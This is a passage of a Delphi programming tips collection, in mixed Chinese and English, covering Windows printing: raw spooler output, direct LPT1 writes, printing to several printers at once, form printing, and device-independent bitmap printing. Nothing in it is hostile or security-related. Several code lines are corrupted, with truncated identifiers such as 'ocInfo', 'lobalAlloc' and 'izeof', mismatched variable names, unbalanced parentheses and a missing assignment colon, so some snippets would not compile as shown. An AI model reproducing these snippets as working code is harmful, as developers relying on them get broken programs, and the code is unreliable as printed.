lStrCpy(DocInfo.lpszOutput,
'C:\Download\Test.doc');
StartDoc(Pd.hDc,
DocInfo);
StartPage(Pd.hDc);
TextOut(Pd.hDc, 100, 100, 'Page 1', 6);
EndPage(Pd.hDc);
StartPage(Pd.hDc);
TextOut(Pd.hDc, 100, 100, 'Page 2', 6);
EndPage(Pd.hDc);
EndDoc(Pd.hDc);
FreeMem(DocInfo.lpszDocName, 32);
FreeMem(DocInfo.lpszOutput, MAX_PATH);
end;
end;
//////////////////////////////////////////////////////
uses
winspool;

procedure PrintFile(const sFileName: string);
const
BufSize =
16384;
type
TDoc_Info_1 = record
pDocName:
pChar;
pOutputFile: pChar;
pDataType: pChar;
end;
var
Count, BytesWritten:
integer;
hPrinter: THandle;
Device : array[0..255] of
char;
Driver : array[0..255] of char;
Port   :
array[0..255] of char;
hDeviceMode: THandle;
DocInfo:
TDoc_Info_1;
f: file;
Buffer: Pointer;
begin
Printer.PrinterIndex := -1;
Printer.GetPrinter(Device, Driver, Port,
hDeviceMode);
if not WinSpool.OpenPrinter(@Device, hPrinter, nil) then
exit;
DocInfo.pDocName := 'MyDocument';
DocInfo.pOutputFile
:= nil;
DocInfo.pDatatype := 'RAW';
if
StartDocPrinter(hPrinter, 1, @DocInfo) = 0 then
begin
WinSpool.ClosePrinter(hPrinter);
exit;
end;
if not StartPagePrinter(hPrinter) then
begin
EndDocPrinter(hPrinter);
WinSpool.ClosePrinter(hPrinter);
exit;
end;
System.Assign(f, sFileName);
try
Reset(f, 1);
GetMem(Buffer,
BufSize);
while not eof(f) do
begin
Blockread(f, Buffer^, BufSize,
Count);
if Count > 0
then
begin
if not
WritePrinter(hPrinter, Buffer, Count, BytesWritten)
then
begin
EndPagePrinter(hPrinter);
EndDocPrinter(hPrinter);
WinSpool.ClosePrinter(hPrinter);
FreeMem(Buffer,
BufSize);
exit;
end;
end;
end;
FreeMem(Buffer, BufSize);
EndDocPrinter(hPrinter);
WinSpool.ClosePrinter(hPrinter);
finally
System.Closefile( f );
end;
end;

*************************************
procedure WriteRawStringToPrinter(PrinterName: String; S: String);
var
Handle: THandle;
N: DWORD;
DocInfo1: TDocInfo1;
begin
if not OpenPrinter(PChar(PrinterName), Handle, nil) then
begin
ShowMessage('error ' + IntToStr(GetLastError));
Exit;
end;
with DocInfo do
begin
pDocName := PChar('test doc');
pOutputFile := nil;
pDataType := 'RAW';
end;
StartDocPrinter(Handle, 1, ocInfo);
StartPagePrinter(Handle);
WritePrinter(Handle, PChar(S), Length(S), N);
EndPagePrinter(Handle);
EndDocPrinter(Handle);
ClosePrinter(Handle);
end;

The PrinterName parameter must be the name of the printer as it is
installed. For example, if the name of the printer
is "HP LaserJet 5MP" then that is what you should pass.
</quote>
/////////////////////////////////////////////////////

Use CreateFile to get a handle to LPT1

LPTHandle := CreateFile( 'LPT1',GENERIC_WRITE,
0, PSecurityAttributes(nil),
OPEN_EXISTING, FILE_FLAG_OVERLAPPED,
0);

Then use WriteFile to send a string of characters or use

While not
TransmitCommChar( LPTHandle, CharToSend ) do
Application.ProcessMessages;

It sends one raw character at a time to the parallel port. It waits for the recent character to get processed and then immediately sends a new one. I got it printing stuff
pretty fast.


同时打印到多台打印机

Yes! The following example demonstrates how to print to more than
one printer at a given time. The exmple does not use TPrinter, since
TPrinter does not support printing to multiple printers at a given
time.

Example:

unit multiprn;

interface

{$IFDEF WIN32}
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls;
{$ELSE}
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics,
Controls, Forms, Dialogs, StdCtrls;
{$ENDIF}

type
TForm1 = class(TForm)
Button1: TButton;
ListBox1: TListBox;
ListBox2: TListBox;
ListBox3: TListBox;
procedure FormCreate(Sender: TObject);
procedure ListBox1Click(Sender: TObject);
procedure ListBox2Click(Sender: TObject);
procedure ListBox3Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
procedure GetTheListOfPrinters;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

type
PdcArray = ^TdcArray;
TdcArray = array[0..0] of
hdc;

procedure TForm1.GetTheListOfPrinters;
var
p : pChar;
p2 : pChar;
i : integer;
sDriver : string;
sPort :
string;
begin
GetMem(p, 32767);
p2 := p;
{Get a
list of the printer names from the win.ini file.}
{The list will be a
buffer filled with strings, each seperated}
{by a null character, with
the final string terminated with}
{a two null characters}
if
GetProfileString('devices', nil, '',p, 32767) <> 0 then
begin
{loop though the null terminated strings. We know
we}
{have reached the end when p2 equals a null
character}
while p2^ <> #0 do
begin
ListBox1.Items.Add(StrPas(p2));
{increment the pointer
past the null to get the next string}
p2 :=
@p2[lStrLen(p2) + 1];
end;
end;
GetMem(p2, 32767);
{Get the driver and port names for each printer
found}
for i := 0 to (ListBox1.Items.Count - 1) do
begin
StrPCopy(p2,
ListBox1.Items[i]);
if GetProfileString('devices', p2,
'',p, 32767) <> 0 then begin
sDriver :=
StrPas(p);
sPort := sDriver;
{The driver is the portion of the string before the
comma}
Delete(sDriver, Pos(',', sDriver),
Length(sDriver));
{The port is the portion of the string
after the comma}
Delete(sPort, 1, Pos(',',
sPort));
ListBox2.Items.Add(sDriver);
ListBox3.Items.Add(sPort);
end;
end;
FreeMem(p2, 32767);
FreeMem(p, 32767);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
GetTheListOfPrinters;
{Allow the user to select multiple
printers}
ListBox1.MultiSelect := true;
ListBox2.MultiSelect
:= true;
ListBox3.MultiSelect := true;
end;

procedure TForm1.ListBox1Click(Sender: TObject);
var
i : integer;
begin
{Select same indexes in ListBoxs 2 and 3 as are selected in Listbox1}
for i := 0 to ListBox1.Items.Count - 1 do begin
ListBox2.Selected[i] := ListBox1.Selected[i];
ListBox3.Selected[i] := ListBox1.Selected[i]
end;
end;

procedure TForm1.ListBox2Click(Sender: TObject);
var
i : integer;
begin
{Select same indexes in ListBoxs 1 and 3 as are selected in Listbox2}
for i := 0 to ListBox2.Items.Count - 1 do begin
ListBox1.Selected[i] := ListBox2.Selected[i];
ListBox3.Selected[i] := ListBox2.Selected[i]
end;
end;

procedure TForm1.ListBox3Click(Sender: TObject);
var
i : integer;
begin
{Select same indexes in ListBoxs 1 and 2 as are selected in Listbox3}
for i := 0 to ListBox3.Items.Count - 1 do begin
ListBox1.Selected[i] := ListBox3.Selected[i];
ListBox2.Selected[i] := ListBox3.Selected[i]
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
dcs :
PdcArray; {a pointer to an array of hdc's}
dcsCount : integer; {count
of valad hdc's}
dc : hdc; {test hdc}
i : integer; {couning
variable}
pPrinter : pChar; {pointer to a printer name}
pDriver : pChar; {pointer to a printer driver filename}
pPort : pChar;
{pointer to a port}
DocInfo: TDocInfo; {document information for the
spooler}
{$IFDEF WIN32}
osv : TOSVERSIONINFO; {to test
for Windows NT}
{$ENDIF}
begin
{If there are no printers
selected then exit}
if ListBox1.SelCount = 0 then exit;
{If Range
Checking is on then rember the setting and turn it off}
{This will allow use
to access the dcs[i] array past element zero}
{without a compiler or runtime
error}
{$IFOPT R+}
{$DEFINE CKRANGE}
{$R-}
{$ENDIF}
{Allocate the array of dcs}
GetMem(dcs,
sizeof(hdc) * ListBox1.SelCount);
dcsCount := 0;
{Loop though
the printers that are selected and create dc's for each}
for i := 0 to
(ListBox1.Items.Count - 1) do begin
{Loop through the list box
to find the selected printers}
if ListBox1.Selected[i]
then begin
{Allocate and get the Printer, Driver and
port from the listboxs}
{in the form of a null
terminated string}
GetMem(pPrinter,
Length(ListBox1.Items[i]) + 1);
GetMem(pDriver, Length(ListBox2.Items[i]) +
1);
GetMem(pPort, Length(ListBox3.Items[i]) +
1);
StrPCopy(pPrinter,
ListBox1.Items[i]);
StrPCopy(pDriver,
ListBox2.Items[i]);
StrPCopy(pPort,
ListBox3.Items[i]);
{Attempt to create a dc - notes
1) Not all printers can}
{support multiple dc's at
one time. 2) CreateDc requires}
{different
parameters if Win32 andor Win32 under NT.}
{Sixteen
bit win apps get standard handling}
{$IFDEF
WIN32}
GetVersionEx(osv);
if osv.dwPlatformId =
VER_PLATFORM_WIN32_NT then
dc := CreateDc(pDriver, pPrinter, nil, nil)
else
dc := CreateDc(nil,
pPrinter, nil, nil);
{$ELSE}
dc := CreateDc(pDriver,
pPrinter, pPort, nil);
{$ENDIF}
FreeMem(pPrinter,
Length(ListBox1.Items[i]));
FreeMem(pDriver,
Length(ListBox2.Items[i]));
FreeMem(pPort,
Length(ListBox3.Items[i]));
{If the dc is valid,
then lets save it to our array}
{and increment our
count}
if dc <> 0 then
begin
dcs^[dcsCount] :=
dc;
inc(dcsCOunt);
end;
end;
end;
{If we ended up with a valid array of dc's then
let's print}
if dcsCount > 0 then begin

   {Fill Out the DocInfo structure for the spooler}
{and start a document for each printer}
GetMem(DocInfo.lpszDocName, 32);
for i := 0 to (dcsCount -
1) do begin
FillChar(DocInfo, sizeof(DocInfo),
#0);
DocInfo.cbSize :=
SizeOf(DocInfo);
StrPCopy(DocInfo.lpszDocName,
'Test Doc' + IntToStr(i));
StartDoc(dcs^[i],
DocInfo);
end;
FreeMem(DocInfo.lpszDocName, 32);

{Start a page for each printer}
for i := 0 to (dcsCount - 1) do
StartPage(dcs^[i]);
{Print something}
for i := 0 to (dcsCount - 1) do
TextOut(dcs^[i], 200, 200, 'Test', 4);

{End a page for each printer}
for i := 0 to (dcsCount - 1) do
EndPage(dcs^[i]);

{End the document for each printer}
for i := 0 to (dcsCount - 1) do
EndDoc(dcs^[i]);

{Delete the dc for each printer}
for i := 0 to (dcsCount - 1) do
DeleteDc(dcs^[i]);

end; {dcsCount}
{Free our array of printers}
FreeMem(dcs, sizeof(hdc) * ListBox1.SelCount);

{If range checking was on when we started then turn it back on}
{$IFDEF
CKRANGE}
{$UNDEF CKRANGE}
{$R+}
{$ENDIF}
end;

end.


编写打印程序的窍门

用Delphi编写打印程序的窍门

如果你想自己用Delphi编写一个打印程序，那么，下面这些技巧或许对你有所帮助。
1.获娶显示当前打印机的分辨率
Windows下的打印分辨对打印程序有着至关重要的作用，如果你想知道打印机的分辨率，请在程序中加入一行：ShowMessage(′水平分辨率′＋inttostr(GetDeviceCaps(printerHandle,LOGPIXELSX))＋chr(13)＋′垂直分辨率：′＋inttostr(GetDeviceCaps(printerHandle,LOGPIXELSY)));结果就一目了然了。
2.将结果直接送到打印机
Delphi提供了两种打印方式：一是将结果输送到Form，再调用Form的print方法将结果输送到打印机，二是将结果直接输送到打印机。如果你采用第一种方式，则无论你怎样调整Form的PrintScal属性，打印出来的东西也不会让你满意。因此建议采用第二种方式。
3.尽量不要使用AssignPrn
尽管AssignPrn简化了文本打印操作，使输出到打印机像输出到文件一样简单。但简单带来的是一系列的不方便：你无法知道当前打印的行数，无法准确控制行距，无法灵活改变字体字形等等。还是用打印机的Canvas属性进行打印吧。
4.用打印机的点数做度量单位
如果想让打印程序在任何打印机上都能正常地打印，你就必须改变你的度量单位。如果采用固定的度量，不同分辨率的打印效果是不同的。举例来讲：printerCanvasrectangle(0,0,360,720)在360×360的佳能4200SP上能打出一个1英寸宽、2英寸高的矩形，但在600×600的惠普6L上只能打出06英寸宽、12英寸高的矩形。使用打印机的点数做为度量单位是一个明智的选择。具体做法如下：VarPointX,PointY:integer;PointX:=GetDeviceCaps(printerHandle,LOGPIXELSX);PointY:=GetDeviceCaps(printerHandle,LOGPIXELSX);printerCanvasrectangle(0,0,PointX＊1,PointY＊2)这样，无论你使用什么样的打印机，都能得到一个1英寸宽、2英寸高的矩形。
5.添加打印程序单元
尽管Delphi在生成窗体时会自动在USES部分加入许多程序单元，但打印程序单元(Printers)却不在之列，要想使打印机正常工作和程序不出错，你还是老老实实手工给它加上吧。(湖北杨德军)


窗体打印

    有时我们要打印任意排列的表或往已经印好的登记表上对号入座写上数据时，可以新建一个窗体（假设为Form1），再把Form1的BorderStyle设为bsNone、AutoScroll设为True，接下来再创建一个新窗体（假设为Form2），再建个按钮Button1，编写代码：
procedure
TForm2.Button1Click(Sender: TObject);
begin
Form1.Width
:=900;
Form1.Height
:=800;
Form1.Print;
end;
接下来你在Form1上对应的位置写上数据，运行后按Button1就会一五一十的打印下来了。
////////////////////////////////////
procedure
TForm1.Button3Click(Sender: TObject);
var
dc: HDC;
isDcPalDevice : BOOL;
MemDc :hdc;
MemBitmap :
hBitmap;
OldMemBitmap : hBitmap;
hDibHeader :
Thandle;
pDibHeader : pointer;
hBits : Thandle;
pBits : pointer;
ScaleX : Double;
ScaleY : Double;
ppal : PLOGPALETTE;
pal : hPalette;
Oldpal :
hPalette;
i : integer;

begin
{Get the screen dc}
dc:=GetDc(0);

{Create a compatible dc}
MemDc:=CreateCompatibleDc(dc);

{create a bitmap}
MemBitmap:=CreateCompatibleBitmap(Dc,form1.width,form1.height);

{select the bitmap into the dc}
OldMemBitmap:=SelectObject(MemDc, MemBitmap);

  {Lets prepare to try a fixup for broken video drivers}
isDcPalDevice:=false;
if GetDeviceCaps(dc,RASTERCAPS) and
RC_PALETTE=RC_PALETTE then
begin
GetMem(pPal,sizeof(TLOGPALETTE)+(255*sizeof(TPALETTEENTRY)));
FillChar(pPal^,sizeof(TLOGPALETTE)+(255*sizeof(TPALETTEENTRY)),#0);
pPal^.palVersion:= 300;
pPal^.palNumEntries
=GetSystemPaletteEntries(dc,0,256,pPal^.palPalEntry);
if
pPal^.PalNumEntries<>0 then
begin
pal:=CreatePalette(pPal^);
oldPal:=SelectPalette(MemDc, Pal, false);
isDcPalDevice:=true
end
else
FreeMem(pPal,sizeof(TLOGPALETTE)+(255*Sizeof(TPALETTEENTRY)));
end;

{copy from the screen to the memdc/bitmap}
BitBlt(MemDc,0,0,form1.width,form1.height,Dc,form1.left,form1.top,SrcCopy);
if isDcPalDevice=true then
begin
SelectPalette(MemDc,OldPal,false);
DeleteObject(Pal);
end;

{unselect the bitmap}
SelectObject(MemDc,OldMemBitmap);

{delete the memory dc}
DeleteDc(MemDc);

{Allocate memory for a DIB structure}
hDibHeader:= lobalAlloc(GHND,sizeof(TBITMAPINFO)+(sizeof(TRGBQUAD)*256));

{get a pointer to the alloced memory}
pDibHeader:=GlobalLock(hDibHeader);

  {fill in the dib structure with info on the way we want the
DIB}
FillChar(pDibHeader^,sizeof(TBITMAPINFO)+
sizeof(TRGBQUAD)*256),#0);
PBITMAPINFOHEADER(pDibHeader)^.biSize:=sizeof(TBITMAPINFOHEADER);
PBITMAPINFOHEADER(pDibHeader)^.biPlanes:=1;
PBITMAPINFOHEADER(pDibHeader)^.biBitCount:=8;
PBITMAPINFOHEADER(pDibHeader)^.biWidth:=form1.width;
PBITMAPINFOHEADER(pDibHeader)^.biHeight:=form1.height;
PBITMAPINFOHEADER(pDibHeader)^.biCompression:=BI_RGB;

{find out how much memory for the bits}
GetDIBits(dc,MemBitmap,0,form1.height,nil,TBitmapInfo(pDibHeader^),DIB_RGB_COLORS);

{Alloc memory for the bits}
hBits:=GlobalAlloc(GHND,PBitmapInfoHeader(pDibHeader)^.BiSizeImage);

{Get a pointer to the bits}
pBits:=GlobalLock(hBits);

{Call fn again, but this time give us the bits!}
GetDIBits(dc,MemBitmap,0,form1.height,pBits,PBitmapInfo(pDibHeader)^,DIB_RGB_COLORS);

  {Lets try a fixup for broken video drivers}
if
isDcPalDevice=true then
begin
for i:=0 to
(pPal^.PalNumEntries-1) do
begin
PBitmapInfo(pDibHeader)^.bmiColors[i].rgbRed:=pPal^.palPalEntry[i].peRed;
PBitmapInfo(pDibHeader)^.bmiColors[i].rgbGreen:=pPal^.palPalEntry[i].peGreen;
PBitmapInfo(pDibHeader)^.bmiColors[i].rgbBlue:=pPal^.palPalEntry[i].peBlue;
end;
FreeMem(pPal,sizeof(TLOGPALETTE)+(255*
izeof(TPALETTEENTRY)));
end;

{Release the screen dc}
ReleaseDc(0,dc);

{Delete the bitmap}
DeleteObject(MemBitmap);

{Start print job}
Printer.BeginDoc;

{Scale print size}
if Printer.PageWidth<Printer.PageHeight then
begin
ScaleX:=Printer.PageWidth;
ScaleY:=Form1.Height* Printer.PageWidth/Form1.Width);
end
else
begin
ScaleX:=Form1.Width*(Printer.PageHeight/Form1.Height);
ScaleY:=Printer.PageHeight;
end;

  {Just incase the printer drver is a palette device}
isDcPalDevice:=false;
if
GetDeviceCaps(Printer.Canvas.Handle,RASTERCAPS) and RC_PALETTE=RC_PALETTE
then
begin
{Create palette from
dib}
GetMem(pPal,sizeof(TLOGPALETTE)+(255*Sizeof(TPALETTEENTRY)));
FillChar(pPal^,sizeof(TLOGPALETTE)+(255*sizeof(TPALETTEENTRY)),#0);
pPal^.palVersion:=$300;
pPal^.palNumEntries:=256;
for i:=0 to
(pPal^.PalNumEntries-1) do
begin
pPal^.palPalEntry[i].peRed:=PBitmapInfo(pDibHeader)^.bmiColors[i].rgbRed;
pPal^.palPalEntry[i].peGreen:=PBitmapInfo(pDibHeader)^.bmiColors[i].rgbGreen;
pPal^.palPalEntry[i].peBlue:=PBitmapInfo(pDibHeader)^.bmiColors[i].rgbBlue;
end;
pal:=CreatePalette(pPal^);
FreeMem(pPal,sizeof(TLOGPALETTE)+(255*sizeof(TPALETTEENTRY)));
oldPal:=SelectPalette(Printer.Canvas.Handle,Pal,false);
isDcPalDevice:=true
end;

{send the bits to the printer}
StretchDiBits(Printer.Canvas.Handle,
0, 0,
Round(scaleX), Round(scaleY),
0, 0,
Form1.Width, Form1.Height,
pBits,
PBitmapInfo(pDibHeader)^,
DIB_RGB_COLORS,
SRCCOPY);

  {Just incase you printer drver is a palette device}
if
isDcPalDevice = true then
begin
SelectPalette(Printer.Canvas.Handle, oldPal, false);
DeleteObject(Pal);
end;

{Clean up allocated memory}
GlobalUnlock(hBits);
GlobalFree(hBits);
GlobalUnlock(hDibHeader);
GlobalFree(hDibHeader);

{End the print job}
Printer.EndDoc;
end;


直接打印图象

Sending a bitmap based on the screen to the printer is an
invalid operation that will usually fail, unless the print
driver has been designed to detect this error condition and
compensate for the error. This means you should use the VCL
canvas methods Draw, StretchDraw,CopyRect, BrushCopy, and
the like to transfer a bitmap to the printer, since the
underlying bitmap is based on the screen, and is device
dependent. The only way to reliably print an image is to
use DIBs (Device Independent Bitmaps). Getting a valid DIB can
be difficult, as there are many Windows API functions that must
be used correctly. Further, many video drivers incorrectly fill
in the DIB structure in regards to the color table in the DIB.

The following example demonstrates an attempt to overcome
some of these problems and limitations. The example should
compile successfully under all versions of Delphi/C++ Builder.

The core function in the example, BltTBitmapAsDib(), accepts
a handle to a device to image to, the x and y coordinates you
wish the bitmap to be imaged at, the width and height you wish
the image to be (stretching and shrinking is acceptable), and
the TBitmap you wish to image.

Example:

uses Printers;

type
PPalEntriesArray = ^TPalEntriesArray; {for palette
re-construction}
TPalEntriesArray = array[0..0] of TPaletteEntry;

procedure BltTBitmapAsDib(DestDc : hdc;   {Handle of where to
blt}
x : word;       {Bit at
x}
y : word;       {Blt at
y}
Width : word;   {Width to
stretch}
Height : word;  {Height to
stretch}
bm : TBitmap);  {the TBitmap to Blt}
var
OriginalWidth
:LongInt;
{width of BM}
dc :
hdc;
{screen dc}
IsPaletteDevice :
bool;
{if the device uses palettes}
IsDestPaletteDevice :
bool;           {if the device
uses palettes}
BitmapInfoSize :
integer;
{sizeof the bitmapinfoheader}
lpBitmapInfo :
PBitmapInfo;           {the
bitmap info header}
hBm :
hBitmap;
{handle to the bitmap}
hPal :
hPalette;
{handle to the palette}
OldPal :
hPalette;
{temp palette}
hBits :
THandle;
{handle to the DIB bits}
pBits :
pointer;
{pointer to the DIB bits}
lPPalEntriesArray : PPalEntriesArray;
{palette entry array}
NumPalEntries :
integer;
{number of palette entries}
i :
integer;
{looping variable}
begin
{If range checking is on - lets turn it off for
now}
{we will remember if range checking was on by defining}
{a define
called CKRANGE if range checking is on.}
{We do this to access array members
past the arrays}
{defined index range without causing a range
check}
{error at runtime. To satisfy the compiler, we must}
{also access
the indexes with a variable. ie: if we}
{have an array defined as a:
array[0..0] of byte,}
{and an integer i, we can now access a[3] by
setting}
{i := 3; and then accessing a[i] without error}
{$IFOPT
R+}
{$DEFINE CKRANGE}
{$R-}
{$ENDIF}

{Save the original width of the bitmap}
OriginalWidth := bm.Width;

{Get the screen's dc to use since memory dc's are not reliable}
dc := GetDc(0);
{Are we a palette device?}
IsPaletteDevice :=
GetDeviceCaps(dc, RASTERCAPS) and RC_PALETTE = RC_PALETTE;
{Give back the screen dc}
dc := ReleaseDc(0, dc);

{Allocate the BitmapInfo structure}
if IsPaletteDevice then
BitmapInfoSize := sizeof(TBitmapInfo) + (sizeof(TRGBQUAD) * 255)
else
BitmapInfoSize := sizeof(TBitmapInfo);
GetMem(lpBitmapInfo, BitmapInfoSize);

{Zero out the BitmapInfo structure}
FillChar(lpBitmapInfo^, BitmapInfoSize, #0);

{Fill in the BitmapInfo structure}
lpBitmapInfo^.bmiHeader.biSize := sizeof(TBitmapInfoHeader);
lpBitmapInfo^.bmiHeader.biWidth := OriginalWidth;
lpBitmapInfo^.bmiHeader.biHeight := bm.Height;
lpBitmapInfo^.bmiHeader.biPlanes := 1;
if IsPaletteDevice then
lpBitmapInfo^.bmiHeader.biBitCount := 8
else
lpBitmapInfo^.bmiHeader.biBitCount := 24;
lpBitmapInfo^.bmiHeader.biCompression := BI_RGB;
lpBitmapInfo^.bmiHeader.biSizeImage :=
((lpBitmapInfo^.bmiHeader.biWidth *
longint(lpBitmapInfo^.bmiHeader.biBitCount)) div 8) *
lpBitmapInfo^.bmiHeader.biHeight;
lpBitmapInfo^.bmiHeader.biXPelsPerMeter := 0;
lpBitmapInfo^.bmiHeader.biYPelsPerMeter := 0;
if IsPaletteDevice then begin
lpBitmapInfo^.bmiHeader.biClrUsed := 256;
lpBitmapInfo^.bmiHeader.biClrImportant := 256;
end else begin
lpBitmapInfo^.bmiHeader.biClrUsed := 0;
lpBitmapInfo^.bmiHeader.biClrImportant := 0;
end;

{Take ownership of the bitmap handle and palette}
hBm := bm.ReleaseHandle;
hPal := bm.ReleasePalette;

{Get the screen's dc to use since memory dc's are not reliable}
dc := GetDc(0);

if IsPaletteDevice then begin
{If we are using a palette, it must be}
{selected into the dc during the conversion}
OldPal := SelectPalette(dc, hPal, TRUE);
{Realize the palette}
RealizePalette(dc);
end;
{Tell GetDiBits to fill in the rest of the bitmap info structure}
GetDiBits(dc,
hBm,
0,
lpBitmapInfo^.bmiHeader.biHeight,
nil,
TBitmapInfo(lpBitmapInfo^),
DIB_RGB_COLORS);

{Allocate memory for the Bits}
hBits := GlobalAlloc(GMEM_MOVEABLE,
lpBitmapInfo^.bmiHeader.biSizeImage);
pBits := GlobalLock(hBits);
{Get the bits}
GetDiBits(dc,
hBm,
0,
lpBitmapInfo^.bmiHeader.biHeight,
pBits,
TBitmapInfo(lpBitmapInfo^),
DIB_RGB_COLORS);

if IsPaletteDevice then begin
{Lets fix up the color table for buggy video drivers}
GetMem(lPPalEntriesArray, sizeof(TPaletteEntry) * 256);
{$IFDEF VER100}
NumPalEntries := GetPaletteEntries(hPal,
0,
256,
lPPalEntriesArray^);
{$ELSE}
NumPalEntries := GetSystemPaletteEntries(dc,
0,
256,
lPPalEntriesArray^);
{$ENDIF}
for i := 0 to (NumPalEntries - 1) do begin
lpBitmapInfo^.bmiColors[i].rgbRed :=
lPPalEntriesArray^[i].peRed;
lpBitmapInfo^.bmiColors[i].rgbGreen :=
lPPalEntriesArray^[i].peGreen;
lpBitmapInfo^.bmiColors[i].rgbBlue :=
lPPalEntriesArray^[i].peBlue;
end;
FreeMem(lPPalEntriesArray, sizeof(TPaletteEntry) * 256);
end;

  if IsPaletteDevice then begin
{Select the old palette
back in}
SelectPalette(dc, OldPal, TRUE);
{Realize the old palette}
RealizePalette(dc);
end;

{Give back the screen dc}
dc := ReleaseDc(0, dc);

{Is the Dest dc a palette device?}
IsDestPaletteDevice :=
GetDeviceCaps(DestDc, RASTERCAPS) and RC_PALETTE = RC_PALETTE;

if IsPaletteDevice then begin
{If we are using a
palette, it must be}
{selected into the dc during the
conversion}
OldPal := SelectPalette(DestDc, hPal,
TRUE);
{Realize the palette}
RealizePalette(DestDc);
end;

{Do the blt}
StretchDiBits(DestDc,
x,
y,
Width,
Height,
0,
0,
OriginalWidth,
lpBitmapInfo^.bmiHeader.biHeight,
pBits,
lpBitmapInfo^,
DIB_RGB_COLORS,
SrcCopy);

  if IsDestPaletteDevice then begin
{Select the old
palette back in}
SelectPalette(DestDc, OldPal,
TRUE);
{Realize the old palette}
RealizePalette(DestDc);
end;

{De-Allocate the Dib Bits}
GlobalUnLock(hBits);
GlobalFree(hBits);

{De-Allocate the BitmapInfo}
FreeMem(lpBitmapInfo, BitmapInfoSize);

{Set the ownership of the bimap handles back to the bitmap}
bm.Handle := hBm;
bm.Palette := hPal;

  {Turn range checking back on if it was on when we started}
{$IFDEF
CKRANGE}
{$UNDEF CKRANGE}
{$R+}
{$ENDIF}
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if PrintDialog1.Execute then begin
Printer.BeginDoc;
BltTBitmapAsDib(Printer.Canvas.Handle,
0,
0,
Image1.Picture.Bitmap.Width,
Image1.Picture.Bitmap.Height,
Image1.Picture.Bitmap);
Printer.EndDoc;
end;
end;


文本和图形的打印

1、 文 本 的 打 印 功 能。DELPHI 中 文 本 的 打 印 功 能 就 如 同 在DOS 中 实 现 文 本 的 打 印 功 能 一 样 容 易， 需 要 做 的 一 切 只 是 取 得 打 印 参 数， 打 开 打 印 机， 然 后 发 送 文 本 的 每 一 行 内 容。 在DELPHI 中 提 供 了 一 个PRINTERS 程 序 单 元， 它 说 明 了 一 个TPRINTER 对 象， 封 装 了WINDOWS 打 印 工 作 和 输 出 打 印 机 之 间 的 接 口， 并 提 供 常 用 的 属 性 和 方 法， 其 中 画 布CANVAS 是 一 个 非 常 有 用 的 属 性， 它 代 表 了 当 前 打 印 文 件 的 表 面， 是 以 图 形 方 式 来 工 作 的， 整 个 的 打 印 输 出 工 作 仅 仅 是 将 你 打 印 的 内 容 输 出 到TPRINTER 的 属 性CANVAS 上， 当 全 部 的 输 出 工 作 完 成 以 后， 打 印 对 象（TPRINTER） 把CANVAS 的 属 性 值 送 到 打 印 机 上 去。
下 面 举 例 来 说 明 如 何 通 过DELPHI 实 现 文 本 内 容 的 打 印。 在DELPHI 中 提 供 了PRINTDIALOG、PRINTERSETUPDIALOG 两 个 控 件 允 许 我 们 进 行 打 印 机 以 及 其 他 影 响 打 印 输 出 的 选 择， 此 外 最 重 要 的 一 点 是 要 想 实 现 打 印 功 能 必 须 在 编 译 程 序 以 前 将PRINTERS 加 入 到INTERFACE 或 者IMPLEMENTATION 的UESE 语 句 当 中， 因 为PRINTER 单 元 包 括ASSIGNPRN 和 其 他 控 制 打 印 机 的 过 程。
首 先 在FORM 当 中 加 入MEMO、PRINTDIALOG、PRINTERSETUPDIALOG 和 两 个BUTTON 控 件， 两 个 BUTTON 的CAPTION 分 别 为“ 打 印 设 置” 和“ 打 印”。 然 后 编 写BUTTON 的 事 件 驱 动 程 序（ 代 码 在 下 面）， 这 个 简 单 的 例 子 中 只 要 单 击“ 打 印” 按 钮 时 便 可 以 在 打 印 机 上 输 出 文 件0S2.TXT， 打 印 事 件 的 清 单 如 下：

implementation

uses printers;

{$R *.DFM}

procedure TForm1.BitBtn1Click(Sender: TObject);

begin

printersetupdialog1.execute;
//选择输出的打印机以及其他打印控制选项
end;
procedure TForm1.BitBtn2Click(Sender:
TObject);
var

lines:integer;

prntext:system.text;

//将PRNTEXT声名为一个在SYSTEM程序单元当中定义的文本文件

begin

if printdialog1.execute then

assignprn(prntext); //将PRNTEST分配给打印机

rewrite(prntext); //调用REWRITE函数，为输出打开已分配的文件

printer.canvas.font:=memo1.font;

//把当前MEMO1的字体指定给打印对象的CANVAS的字体属性

for lines:=0 to memo1.lines.count-1 do

writeln(prntext,memo1.lines[lines]);

//把MEMO的内容写到打印机对象

system.close(prntext); //关闭打印文件

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

memo1.lines.loadfromfile('c:\dos\os2.txt');

//在FORM建立时读入C:\DOS\OS2.TXT文件

end;

end.
2、 图 形 的 打 印 功 能, 简 单 的 图 形 打 印 功 能 也 如 打 印 文 本 一 样 的 容 易， 只 是 告 诉 打 印 机 对 象（TPRINTER） 开 始 打 印， 把 图 形 简 单 的 复 制 到 打 印 机 上 去， 最 后 告 诉 打 印 机 结 束 打 印 工 作。

举 例 说 明： 将 上 面 的 例 子 的MEMO 控 件 换 成IMAGE 控 件， 再 经 过 一 些 简 单 的 修 改， 图 形 打 印 的 代 码 如 下：

procedure TForm1.BitBtn1Click(Sender: TObject);

begin

if printdialog1.execute then begin

printer.begindoc;

printer.canvas.draw(0,0,image1.picture.graphic);

printer.enddoc;

end;

end;
在 这 种 情 况 下， 使 用 的 是 打 印 机 的 分 辨 率， 图 形 在 页 面 的 左 上 角 开 始 打 印 输 出， 打 出 的 图 形 很 小， 在 很 多 的 情 况 下 不 能 符 合 要 求， 但 是 打 印 机 画 布CANVAS 的STRETHDRAW 的 方 法， 可 以 让 我 们 对 图 形 进 行 灵 活 的 处 理， 画 布（CANVAS） 的STRETCHDRAW 方 法 声 名 为：

procedure StretchDraw(const Rect: TRect; Graphic: TGraphic);

其中的RECT参数代表图形输出区域的大小，TRECT的类型声名为：

TRect = record

case Integer of

0: (Left, Top, Right, Bottom: Integer);

1: (TopLeft, BottomRight: TPoint);

end;
